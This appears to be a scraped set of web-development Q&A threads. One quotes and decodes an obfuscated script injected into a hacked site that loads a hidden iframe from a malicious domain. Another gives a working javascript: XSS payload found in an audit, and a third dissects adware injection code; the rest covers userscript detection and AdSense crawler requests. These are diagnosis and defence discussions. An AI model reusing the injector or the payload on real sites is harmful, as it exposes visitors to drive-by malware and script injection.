Is this site hacked? - javascript

At a particular web site (not mine), I'm alerted that it wants to use Java and I see a domain in India referenced. Since this doesn't look normal to me I look at the page source. There is a large script block BEFORE the DOCTYPE. I see this only on IE10 (not FF, etc.) and on multiple machines. I'm not clever enough to see exactly what's going on as it looks like it's being obscured quite a bit. Before I report the situation to the site owner (and for my own curiosity) I wondered if this is definitely evidence of a hacking. I see a few other sites with very similar code when I Googled the phrase "asd=function" from the below so it might be a common problem. (Or maybe it's something legitimate for IE10??) Below is the code with extra line feeds added.
<script>
ps="split";
asd=function(){d.body++};
a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"[ps](","));
ss=String;
d=document;
for(i=0;i<a.length;i+=1){
a[i]=-(7-3)+parseInt(a[i],8);}
try{asd()}
catch(q){
zz=0;}
try{zz/=2}
catch(q){zz=1;}
if(!zz)eval(ss.fromCharCode.apply(ss,a));
</script>
If this is really malicious, is there a forensic web site that I could/should post this to?

Here's the "translation" of the above code:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/');
f.style.left='-10000px';
f.style.top='0';
f.style.position='absolute';
f.style.top='0';
f.setAttribute('width','100');
f.setAttribute('height','100');
document.getElementsByTagName('body')[0].appendChild(f);
}
Not only is it poorly coded (someone has apparently never heard of the document.body property...), it is very obviously a hack.
Interstingly, requesting the resource returns a 402 Payment Required header if I don't include an IE10 User-Agent string - that's probaby a hint that it's designed to exploit that particular browser. Spoofing a valid UA string gives me a page that has a bunch of over-complicated JavaScript that I can't be bothered to decode, but that certainly doesn't look friendly.

Remove it, it is trying to load a url that most likely will install spyware on your computer.
The website is the following:
http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/
The website it has been already deactivated, so yes.. your website has been hacked.
Change your FTP/SSH passwords, clean all the computers that have access to the hosting account.

Related

XSS vulnerability despite encoding

I had a security audit on a website on which I've been working. The audit has shown that one of my parameter, called backurl, wasn't protected enough in my jsp file. This url is put inside the href of a button, button that allows the user to get back to the previous page.
So what I did was to protect it using the owasp library, with the function "forHTMLAttribute". It gives something like this:
<a class="float_left button" href="${e:forHtmlAttribute(param.backUrl)}">Retour</a>
However, a second audit showed that by replacing the value of the parameter by:
javascript:eval(document%5b%27location%27%5d%5b%27hash%27%5d.substring(1))#alert(1234)
The javascript code would be executed and the alert would show, when clicking on the button only.
They said that something that I could do was to hardcode the hostname value in front of the url, but I don't really get how this would help solve the problem. I feel like no matter what I do, solving a XSS vulnerability will just create a new one.
Could someone help me on this? To understand what's happening and where to look at least.
Thanks a lot.
As #Pointy said, the problem is more fundamental here. Accepting untrusted input and rendering that as a link verbatim (or as text), is a security issue, even if you escape the heck out of it. For example, if you allow login?msg=Password+incorrect and that's how you deal with relaying messages - you have a problem. I can make a site with: Click for cute kittens! and you see why this is a problem.
The real solution is to not accept potentially tainted information, period (nevermind escaping!), if that information ends up being rendered without the surrounding context that it is tainted. For example, take twitter. The username and the tweet are potentially tainted. This is no big deal because users of twitter get clued in due to the very design of the website that you're looking at what some rando wrote. If someone tweets 'If you transfer 5 bucks to Jack Dorsey's account at 12345678, he'll give you a twitter blue logo!', there's a reasonable expectation that it's on the users of the site to not be morons and trust it.
Your website's "click here to go to the previous page" is not like that. You can't reasonably expect the users of your site to hang over that button, check their browser's status bar, and figure it out.
Hence, the entire principle is wrong. You simply can't do it this way, period.
Your alternatives are threefold:
Instead of letting the 'previous link' property be a URL param, it needs to be in the session. Websites work with sessions, generally. You can store whatever you want in them, serverside (the HTTP handler code either manually takes e.g. the cookie and uses that to look up on-server info for that user by doing a lookup, or runs on a framework that just provides an HttpSession-style object, which works in that exact fashion).
If you really want to bend over backwards, you can include it as a signed blob. This is creative but I really wouldn't go there.
A quick hack: What if you just include Click to go back as a static link in your web page?

jQuery on MTurk, why does Chrome report "Unsafe JavaScript attempt to access frame with URL"?

I'm doing a couple of things with jQuery in an MTurk HIT, and I'm guessing one of these is the culprit. I have no need to access the surrounding document from the iframe, so if I am, I'd like to know where that's happening and how to stop it!
Otherwise, MTurk may be doing something incorrect (they use the 5-character token & to separate URL arguments in the iframe URL, for example, so they DEFINITELY do incorrect things).
Here are the snippets that might be causing the problem. All of this is from within an iframe that's embedded in the MTurk HIT** (and related) page(s):
I'm embedding my JS in a $(window).load(). As I understand it, I need to use this instead of $(document).ready() because the latter won't wait for my iframe to load. Please correct me if I'm wrong.
I'm also running a RegExp.exec on window.location.href to extract the workerId.
I apologize in advance if this is a duplicate. Indeed - after writing this, SO seems to have a made a good guess at this: Debugging "unsafe javascript attempt to access frame with URL ... ". I'll answer this question if I figure it out before you do.
It'd be great to get a good high-level reference on where to learn about this kind of thing. It doesn't fit naturally into any topic that I know - maybe learn about cross-site scripting so I can avoid it?
** If you don't know, an MTurk HIT is the unit of work for folks doing tasks on MTurk. You can see what they look like pretty quick if you navigate to http://mturk.com and view a HIT.
I've traced the code to the following chunk run within jquery from the inject.js file:
try {
isHiddenIFrame = !isTopWindow && window.frameElement && window.frameElement.style.display === "none";
} catch(e) {}
I had a similar issue running jQuery in MechanicalTurk through Chrome.
The solution for me was to download the jQuery JS files I wanted, then upload them to the secure amazon S3 service.
Then, in my HIT, I called the .js files at their new home at https://s3.amazonaws.com.
Tips on how to make code 'secure' by chrome's standards are here:
http://developer.chrome.com/extensions/contentSecurityPolicy.html
This isn't a direct answer to your question, but our lab has been successful at circumventing (read hack) this problem by asking workers click on a button inside the iframe that opens a separate pop-up window. Within the pop-up window, you're free to use jQuery and any other standard JS resources you want without triggering any of AMT's security alarms. This method has the added benefit of allowing workers to view your task in a full-sized browser window instead of AMT's tiny embedded iframes.

Why is Cloudfront loading scripts in my web app? (I don't use it)

I manage a secured PHP/MySQL web app with extensive jQuery use. Today, a strange error popped up in our app's logs:
JS Error: Error loading script:
https://d15gt9gwxw5wu0.cloudfront.net/js/_MY_WEB_APP_DOMAIN_/r.js
We are not using Amazon's Cloudfront CDN in our app. When I go to the URL that failed to load, these are the only contents:
if(typeof _GPL.ri=='function'&&!_GPL.isIE6){_GPL.ri('_GPL_r')}_GPL.rl=true;
The user's user agent string is:
Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
Please note: I am not the user who triggered this error. It was one of our thousands of users who triggered it. I do not have control over the client machine.
Does anyone know what's going on here? Is this some sort of XSS attack?
** Update **
It appears I'm not the only one who has discovered this anomaly on their website. I found this report of the same exact behavior, which seems to indicate the code is harmless, but still no answers as to where it came from.
In addition, I found this pastebin with similar code, that appears to be some sort of advertising script. Again, not terribly helpful.
** Update 2 **
More context: The webapp uses several third party jQuery plugins but no third party analytics of any kind. All scripts are hosted on our own server, and an audit of all our code provides no matches for "cloudfront".
This app has been in production for about 4 years, and this is the first and only instance of any activity like this. It has not happened before or since, so I doubt I'll be able to reproduce it.
What I'm interested in is if this is some sort of attack. If it is, I want to know how to plug the hole it's trying to exploit if it's not plugged already.
Disclaimer: I'm not a security analyst/expert, your issue simply sparked my interest ;)
Warning: While I share the initial conclusion that the code itself is probably harmless, the underlying technology can most certainly be (ab)used for malicious intents as well, so please take care when investigating this yourself.
Analysis
You already found the relevant evidence yourself - searching further I found another pastebin drop, which is more readable, so I'm using this for the explanation (though at first sight the other one would allow this as well after formatting).
The snippet features JavaScript fragments with the following major functionality:
Line 13 initializes the variable _GPL with all sorts of items for later use, e.g. various constants`, helper functions, browser compatibility stuff and actual payloads, for example:
Line20 defines an empty basdeCDN, line 21 defines a fCDN, which happens to be the one in question (d15gt9gwxw5wu0.cloudfront.net)
line 261 defines a function removeScripts(), which in turn uses findScript()from line 266, further accompanied by insertJS() on line 277 - their respective intend is obvious
line 270 defines function loadDomainRules(), which seems to be the one generating the URL you have found in your logs - see appendix below for the code snippet
Deduction: Even without further evidence gathered below, the naming and functionality strongly hints on r.js being a JavaScript file serving custom JavaScript specifically assembled/generated for the domain at hand
line 100 defines a function loadGeo(), which references some kind of an ad server indeed (ads2srv.com) - see appendix below for the code snippet
line 368 finally defines a function i(), which provides the most definite clues regarding the likely origin of all this, namely the notion of some Yontoo Client and Yontoo API - see appendix below for the code snippet
Corollary
What's it all about?
The extracted clues Yontoo Client and Yontoo API easily lead to Yontoo, an Application Platform that allows you to control the websites you visit everyday, i.e. it sounds like a commercialized version of Userscripts.org, see What is a Yontoo App?:
Yontoo is a browser add-on that customizes and
enhances the underlying website
Where Can I Use It?
Yontoo works on any site on the Web, although the
functionality comes from separate applications called Yontoo Apps
which provide specific functionalities depending on what site you are
on.
[emphasis mine]
Now, looking at the current listings in their App Market easily demonstrates, why this might be used for questionable nontransparent advertizing as well for example, all the trust signs and seals in their footer notwithstanding.
How did it end up in your logs?
Another quote provides more insight into the functionality and how it might have yielded the issue you've encountered:
Yontoo [...] is a
browser add- on that creates virtual layers that can be edited to
create the appearance of having made changes to the underlying
website. [...]
If you see a need for an application or tool over a website, then you
are free to create!
So somebody apparently has visited your site and created some custom domain rules for it by means of the Yontoo client (if it actually allows this for end users) or one of the available apps (the snippet used for analysis references the Drop Down Deals app in line 379 for example), which triggered the creation of d15gt9gwxw5wu0.cloudfront.net/js/_MY_WEB_APP_DOMAIN_/r.js to store these rules for reuse on next site visit in turn.
Due to some security flaw somewhere (see conclusion below) this URL or a respective JavaScript snippet must have been injected into JavaScript code of your application (e.g. by means of Cross-site scripting (XSS) indeed), and triggered the log entry error at some point in turn.
Conclusion
As mentioned upfront already, I share the initial conclusion that the code itself is probably harmless, although the underlying technology can most certainly be (ab)used for malicious intents as well due to its very nature of mocking with client side JavaScript, i.e. a user allows code from a 3rd party service to interact with sites (and especially data) he uses and trusts every day - your case is the apparent evidence for something gone wrong already in this regard.
I haven't investigated the security architecture (if any) of Yontoo, but wasn't able to find any information regarding this important topic immediately on their website either (e.g. in their Support section), which is pretty much unacceptable for a technology like this IMHO, all the trust signs and seals in their footer notwithstanding.
On the other hand, users do install 3rd party scripts from e.g. Userscripts.org all the time of course, not the least for fine tuning the user experience on Stack Exchange as well ;)
Please make your own judgment accordingly!
Appendix
Below you can find the code snippets referenced in the analysis (I've been unable to inline them within the lists without breaking the layout or syntax highlighting):
loadDomainRules()
function () {
if (location.host != "") {
var a = location.host.replace(RegExp(/^www\./i), "");
this.insertJS(this.proto + this.fCDN + "/js/" + a + "/r.js")
}
this.loaded_domain_rules = true
}
loadGeo()
function () {
var cid = this.items.e6a00.get("geo.cid");
var updatetime = this.items.e6a00.get("geo.updatetime");
if (!cid || (cid && updatetime && (Math.floor((new Date()).getTime() / 1000) - parseInt(updatetime)) >= 259200)) {
this.insertJS(((this.proto == 'https://') ? 'https://s.' : 'http://') + 'ads2srv.com/tb/gc.php?json&cb=_GPL.setGeoAndGo')
} else {
this.vars.cid = this.items.e6a00.get("geo.cid");
this.vars.rid = this.items.e6a00.get("geo.rid");
this.vars.ccid = this.items.e6a00.get("geo.ccid");
this.vars.ip = this.items.e6a00.get("geo.ip");
this.loadCC();
this.loadDomainRules()
}
}
i()
function () {
if (typeof YontooClient != 'undefined') YontooClient = {};
if (typeof yontooAPI != 'undefined') yontooAPI = {};
if (typeof DealPlyConfig != 'undefined') {
DealPlyConfig.getBaseUrl = function () {
return "https://d3lvr7yuk4uaui.cloudfront.net/items/blank.js?"
};
DealPlyConfig.getCrownUrl = function () {
return "https://d3lvr7yuk4uaui.cloudfront.net/items/blank.js?"
}
}
this.rm(this.ri, ['dropdowndeals', 'Y2LeftFixedCurtain', 'gbdho', 'bdca', 'dealply-toast-1', 'pricegong_offers_iframe', 'SF_VISUAL_SEARCH', 'batAdRight', 'batAdBottom', 'batAdMiddle_0', 'batAdMiddleExt1_0', 'batAdRight2', 'invisiblehand-iframe', 'scTopOfPageRefinementLinks', 'sf_coupon_obj']);
this.rm(this.rc, ['yontoolayerwidget', 'dealply-toast', 'imb-ad']);
this.rm(this.ric, [
['productbox', 'g'],
['related-searches', 'related-searches-bing']
]);
this.rm(this.rtn, ['MIVA_AdLink', 'itxtrst', 'kLink', 'FAAdLink', 'IL_AD', 'skimwords-link'])
}
I found an iFrame as well in my drupal 7 website. It was loaded into the site by enabling the module of sharaholic.

Can a website know if I am running a userscript?

Can, for example, Facebook.com run a version control script on my browser and find out if I am running altered HTML code with the use of a script?
Could that be done with a script that can read the HTML code in the cache and produce some kind of hash tag that is sent back to the server and compared with the code that was sent to the client?
Yes, in theory, a site can deduce the presence of scripts in various situations.
This is not foolproof and usually is way too much trouble for the negligible "threat" to the site. (Then again, some webmasters can be obsessive-paranoids about such things. ;) )
Some methods, depending on what the script does (in no particular order):
Gaming or auction sites can monitor the timing (speed and regularity) of "bid" clicks.
A site can AJAX-back the count of say, <script> nodes, looking for extras.
Similarly, a site can AJAX-back any or all of the content of a page and compare that to expected values.
Extra AJAX calls, or AJAX calls that don't meet hidden requirements can be noted (and allowed to appear to succeed).
If the script uses unsafeWindow in just the right (wrong) way, a page can detect that and even hijack (slightly) elevated privileges.
"Clicks" that were not preceded by mouseover events can be detected. I've actually seen this used in the wild.
A page's javascript can often detect script-generated clicks (etc.) as being different than user generated ones. (Thanks, c69, for the reminder.)
Ultimately, the advantage is to the userscript writer, however. Any counter-measures that a webpage takes can be detected and thwarted on the user end. Even custom, required plugins or required hardware dongles can be subverted by skilled and motivated users.
Update: The methods below are fully ineffective as of Greasemonkey 3.3.
See (Dead link) How-to Detect Greasemonkey.
Javascript to detect if GM is installed (but not whether a script is actually running on that page):
Obsolete Option 1:
if (Components.interfaces.gmIGreasemonkeyService) {
alert("I smell a monkey!");
}
Obsolete Option 2:
<script type="text/javascript" src="resource://greasemonkey/addons4.js"></script>
<script type="text/javascript">
if (typeof GM_addonsStartup !== "undefined") {
alert("I smell a monkey!");
}
</script>

Google AdSense JavaScript causing multiple page-loads?

Update
Ok - I now know where the multiple page loads are coming from! (However, the mystery is not yet solved).
It seems that immediately after a request is made to a page containing AdSense ads, Google makes a request for exactly the same URL (one or more times)
e.g. this is what the logs look like (note requests from Mediapartners-Google):
2011-07-20 09:50:20 xxx.xxx.xxx.xxx GET /requestedURL/ 80 - xxx.xxx.xxx.xxx Mozilla/5.0+(Browserstring removed) 200 0 0 1140
2011-07-20 09:50:20 xxx.xxx.xxx.xxx GET /requestedURL/ 80 - 66.249.72.52 Mediapartners-Google 200 0 64 218
2011-07-20 09:50:22 xxx.xxx.xxx.xxx GET /requestedURL/ 80 - 66.249.72.52 Mediapartners-Google 200 0 0 171
(I should have paid more attention to the IIS logs, rather than my own application logs - it just didn't occur to me that these multiple, identical, simultaneous request could have been coming from different sources). This also explains why I couldn't find anything strange when analysing the request with WireShark, and why fiddler didn't show anything strange.
So the question for the bounty now becomes:
Why is google making these requests so quickly after the page is requested? (I know they need to asses the page for content, but immediately after, and multiple times sees like abuse to me.)
What can I do to stop this?
And out of interest:
Has anyone else seem something similar in their logs? (or is this something weird with my AdSense account)
Ok, I'll apologise in advance for the length!...
This question is realted to this one, regarding Google Adsense Javascript code causing errors. (of the form Unable to post message to googleads.g.doubleclick.net. Recipient has origin something.com)
I won't duplicate all of the information there, but the conclusion seems to be that the AdSense JS is buggy. (please read the question for background if you have time).
I knew about this problem for some time, but decided to live with the JS errors rather than pulling AdSense from the site.
However, Recently I noticed that in my ASP.NET MVC2 application, Controller Actions seemed to be called twice per page request (sometimes even 3 times). Odly, it was only happening on the production server. After some thought I relalised that one difference between the Dev and Production environments was that the AdSense javscript was only active in production.
To test this I removed all adsense code from one of the production pages, and lone behold, the multiple-page-load problem went away!
I thought that perhaps it was the fact that there were general JS errors on the page that was causing the problem, so to test this I introduced some simple errors into my own JS code, however this did not cause the multiple-page-load problem to reappear.
One known situation where pages can be called multiple times per request is when there are image tags with empty src attributes, or external resource references with empty src attributes. Crucially, The most upvoted answer to the AdSense JS Bug question notes that:
"The targetOrigin argument in this call, this.la is set to
http://googleads.g.doubleclick.net. However, the new iframe was
written with its src set to about:blank."
This seems eerily similar to the empty src issue.... This seems too much of a co-incidence, and currently I'm of the opinion that this is the problem.
[EDIT: This was a red herring]
However, I've no idea wehre to go from here. These multiple action calls are causing real problems (I'm having to use code blocking, serialised transactions, and all sorts of nasty hacks to limit adverse effects). Of course, I could be barking up the wrong tree entirely - I'm puzzled that I can't find any other references to this, given the ubiquity of AdSense, and the nature of the problem (but then again the conclusions of the AdSense JS Bug question are also surprising). I would love this to turn out to be a stupid mistake on my part, so I need a sanity check.
I'd like to ask the community:
Has anyone else experienced this problem?, or can anyone who is using AdSense replicate and confirm it? [See note below]
Assuming the problem is what it seems, what can I do? (other than pulling AdSense of course)
If not, then what might be causing this?
To Sumarise:
- My actions are being executed 2 (sometimes 3) times per page request.
THIS ONLY HAPPENS WHEN GOOGLE ADSENSE ADS ARE PRESENT
I removed all AdSense JS and introduced an error into my own JS : Actions are called only once...
A similar problem can happen when empty src properties are present on the page
An answer to a previous question sumarises that the AdSense JS sets a src="about:blank" on an iFrame
I have come to the conclusion that the src="about:blank" from the AdSense code is the most likely source of the problem.
If I disable JavaScript on the browser, the problem goes away
Just to document the things I have ruled out:
This is happening across browsers: Chrome(12) Firefox(5) and IE(8).
I have dissabled all plugins on browsers (YSlow, Firebug etc...)
There are no empty src (src=""/src="#") for images, or other external resources in the html in my code
There are no empty url references in the css ( url('') )
It's unlikely to be server side code/config problem, as it doesn't happen in Dev (and of the few differences between dev and production is the absence of AdSence JS in Dev)
Note: For anyone looking to replicate this, it should be noted that, strangely, when the multiple action calls happen Fiddler shows only one request being sent to the server. I have no idea why this should be the case, but the server logging doesn't lie :) Perhaps someone who has prior experience with this problem when caused by empty src attributes in img tags can say whether they have seen the same behaviour with Fiddler.
Requested extra information
HTML (#Ivan)
Here's how I'm implementing the Adsense (ids removed)
<%# Control Language="C#" Inherits="System.Web.Mvc.ViewUserControl" %>
<div class="ad">
<%if (!HttpContext.Current.IsDebuggingEnabled) { %>
<script type="text/javascript"><!--
google_ad_client = "ca-pub-xxxxxxxxxxxxxxx";
/* xxxxxxxxxxxxxxx */
google_ad_slot = "xxxxxxxxx";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<%} else { %>
<img src="/Content/images/googleAdMock728x15_4_e.gif" width="728" height="15" />
<%} %>
</div>
This is being inserted by a RenderPartial in the View:
<% Html.RenderPartial("AdSense_XXXXXX"); %>
TCP Logging (#Tomas)
So far I have done a wireshark capture:
on client when requesting page on production with problem
on client when requesting page on production without problem (i.e. Adsense Removed)
I can't really see a significant difference between the two (although my network skills are not great). One thing to note is that they both seem to have a TCP retransmittion of the HTTP request immediately after the initial request - I don't know the significance of that. I can confirm though that in case 1 the server logs reported 2 executions, and in case 2 only one execution.
Next I will try TCP logging on the server side in both cases, and post results here.
Mediabot is the name given to the web crawler that Google uses to crawl webpages for purposes of analysing the content so Google AdSense can serve contextually relevant advertising to the page.
In my experience, it is impredictable and, yes , it can be pretty heavy and annoying.
If you don't want Mediapartner bot to access a specific page, you can disallow it in your robots.txt with:
#
# disallow adsense bot
#
User-agent: Mediapartners-Google
Disallow: path to your specific page
This will have the drawback of service untargeted ads from that specific page.
If you are seeing this pattern always on the same page with different query string, adding the canonical rel could ease the pain.
If you can't resolve this issue, and you see it as an abuse, don't esitate to ask help in the Crawling Indexing and Ranking Google support.
Given that the behaviour that you are observing appear to be hard to avoid, can we rather focus on workarounds?
Can you differentiate requests based on UserAgent, and thus filter out requests.
Could that be a viable approach for you?
If so then you could probably base upon this approach: http://blog.flipbit.co.uk/2009/07/writing-iphone-sites-with-aspnet-mvc.html
Here they detect iPhones, but the consept is the same for Mediapartners-Google bot.
Aside from the embedding of the AdSense code itself, there are two things related to AdSense that differ in your two test cases:
What else happens when !HttpContext.Current.IsDebuggingEnabled? This appears to be the de-facto production flag; maybe there is some other nuance somewhere that is happening that depends on this same flag.
Is it possible that Html.RenderPartial("AdSense_XXXXXX") is somehow causing your Controller to jump back to the beginning of its execution?
From your description, it seems like the execution is happening twice on the server but only one request is being sent from the client. This implies a server error, and these two lines are the crux of your AdSense triggering. To further narrow it down, try embedding the AdSense partial directly instead of calling Html.RenderPartial(). If that doesn't change the result, it might be worth a sanity check on what else switches on HttpContext.Current.IsDebuggingEnabled.
Failing that, it might be helpful to know whether your server-side logging takes place as the request is received, before the response is sent, or after the response is sent.
Yes, I just detected this during a TeamView session with my partner. On my box my main page ONLY for my site loads once per request.
Then by coincidence while using Fiddler my partner is getting 4 requests to the sample page. It is a 1.5 MB page with big scripts and lotsa other dependencies so this was truly a WTF moment as I have never seen anything like this in 15 years of web development.
If google is doing this I must say they should realize today's sites might have very big pages and very big audiences. That could mean they are jacking bandwidth by a factor of 4 per request. Like I said, WTF?????
I wish this Q&A had a more definitive resolution.
I do use Google Translate widget but this is only occurring on his box and for the main page. The other pages also use the translate widget and I do request my JQUERY via the google CDN. Could anything Google be doing this.

Categories